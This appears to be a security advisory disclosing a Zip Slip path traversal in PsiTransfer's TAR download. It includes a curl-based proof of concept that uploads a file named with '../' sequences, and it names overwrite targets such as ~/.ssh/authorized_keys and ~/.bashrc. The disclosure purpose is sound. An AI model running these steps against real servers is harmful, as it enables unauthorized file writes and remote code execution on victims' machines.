PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

Summary

### Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

### Details

The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

``` lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size }); ```

``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ```

### PoC

I. Upload file with malicious filename (no authentication required).

``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ```

II. Complete upload with PATCH

``` curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT" ```

III. Victim downloads and extracts TAR

``` curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz tar -tzf files.tar.gz ```

### Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has **uploadPass: false**. Social Engineering Vector: Attacker sends malicious download link to victim.